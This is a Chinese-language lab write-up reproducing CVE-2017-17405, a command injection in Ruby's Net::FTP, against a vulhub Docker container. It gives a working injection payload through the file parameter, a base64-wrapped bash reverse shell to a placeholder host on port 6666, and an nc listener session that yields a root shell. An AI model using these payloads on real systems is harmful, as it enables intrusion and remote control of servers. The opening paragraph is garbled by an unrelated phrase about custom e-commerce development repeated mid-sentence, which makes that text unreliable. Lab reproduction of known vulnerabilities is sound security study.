漏洞简介
Ruby Net::FTP 电商商城定制开发模块是一个 FTP 客户端,电商商城定制开发在上传和下载文件的过程中,电商商城定制开发打开本地文件时使用了 open
函数。而在 ruby 中,open
函数是借用系统命令来打开文件,且没用过滤 shell 字符,导致在用户控制文件名的情况下,将可以注入任意命令。
环境搭建
使用vulhub提供的docker
┌──(root💀kali)-[~]└─# cd /root/vulhub/ruby/CVE-2017-17405 ┌──(root💀kali)-[~/vulhub/ruby/CVE-2017-17405]└─# docker-compose up -dCreating network "cve-2017-17405_default" with the default driverCreating cve-2017-17405_web_1 ... done┌──(root💀kali)-[~/vulhub/ruby/CVE-2017-17405]└─# docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMESdcc64104f647 cve-2017-17405_web "ruby web.rb -p 8080…" 20 seconds ago Up 19 seconds 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp cve-2017-17405_web_1 ┌──(root💀kali)-[~/vulhub/ruby/CVE-2017-17405]└─# docker exec -it dcc64104f647 /bin/bashroot@dcc64104f647:/usr/src# lsweb.rbroot@dcc64104f647:/usr/src# cat web.rb
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
进入docker后可以看到有一个web.rb文件,这就是一个FTP客户端
require 'sinatra'require 'net/ftp'require 'uri'get '/' do 'Use /download?uri=ftp://127.0.0.1:2121/&file=/path/to/file.txt to download a ftp file.'endget '/download' do content_type 'application/octet-stream' begin uri = URI.parse(params['uri']) ftp = Net::FTP.new ftp.connect(uri.host, uri.port) ftp.login(uri.user || 'anonymous', uri.password) ftp.getbinaryfile(params['file']) ftp.close rescue return '404 Not Found' end File.open(params['file'], 'rb') {|f| return f.read }end
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
环境启动后,访问http://your-ip:8080/将可以看到一个HTTP服务。这个HTTP服务的作用是,我们访问http://your-ip:8080/download?uri=ftp://example.com:2121/&file=.txt,它会从example.com:2121这个ftp服务端下载文件vulhub.txt到本地,并将内容返回给用户。
预期服务功能
我们需要运行一个可以被访问到的ftp服务端,这里选择在桌面的ftp文件夹中运行,文件夹里面有一个flag.txt可供下载
┌──(root💀kali)-[~]└─# cd /root/桌面/ftp ┌──(root💀kali)-[~/桌面/ftp]└─# ls flag.txt ┌──(root💀kali)-[~/桌面/ftp]└─# python3 -m pyftpdlib -p 2121 -i 0.0.0.0[I 2022-01-17 03:22:09] concurrency model: async[I 2022-01-17 03:22:09] masquerade (NAT) address: None[I 2022-01-17 03:22:09] passive ports: None[I 2022-01-17 03:22:09] >>> starting FTP server on 0.0.0.0:2121, pid=3079 <<<
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
访问/download?uri=ftp://ftp-ip:2121/&file=flag.txt
成功下载了文件
在docker中也可以看到flag.txt
root@dcc64104f647:/usr/src# lsflag.txt web.rbroot@dcc64104f647:/usr/src# cat flag.txt flag{FTP-dowload}
- 1
- 2
- 3
- 4
漏洞复现
开始利用漏洞。注入命令|touch${IFS}success.txt
(空格用${IFS}
代替)
进入docker后可以看到success.txt被成功创建,命令执行成功
root@dcc64104f647:/usr/src# lsflag.txt success.txt web.rb
- 1
- 2
反弹shell
构造执行反弹shell的命令
linux反弹shell的命令bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/6666 0>&1
|bash${IFS}-c${IFS}'{echo,YmFzaCAtaSA...}|{base64,-d}|{bash,-i}'
其中的base64编码中的加号+
要替换成%2B
,否则浏览器会把+
编码成空格,使得命令解码出错
同时kali监听6666端口nc -lvvp 6666
在浏览器中访问即可成功反弹shell
┌──(root💀kali)-[~]└─# nc -lvvp 6666listening on [any] 6666 ...172.18.0.2: inverse host lookup failed: Unknown hostconnect to [xxx.xxx.xxx.xxx] from (UNKNOWN) [172.18.0.2] 36762bash: cannot set terminal process group (1): Inappropriate ioctl for devicebash: no job control in this shellroot@dcc64104f647:/usr/src# lslsflag.txtsuccess.txtweb.rbroot@dcc64104f647:/usr/src# cat flag.txtcat flag.txtflag{FTP-dowload}
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15